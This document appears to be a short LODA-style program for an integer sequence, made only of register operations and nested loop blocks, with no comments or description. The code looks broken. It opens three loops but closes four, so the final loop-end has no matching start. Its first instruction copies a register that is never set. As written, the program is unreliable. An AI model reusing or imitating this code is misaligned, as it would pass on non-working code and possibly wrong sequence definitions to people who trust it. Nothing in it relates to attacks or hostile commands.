mov $0,$7 sub $4,1 sub $0,$4 mul $0,2 mov $2,9 mov $3,1 lpb $2,1 add $0,1 add $0,$2 add $3,2 add $5,$6 lpb $5,1 mov $5,1 lpe mov $6,$2 mov $2,$5 add $3,4 sub $3,$5 lpb $6,1 mul $0,2 sub $6,$3 lpe log $0,$3 lpe add $1,$0 lpe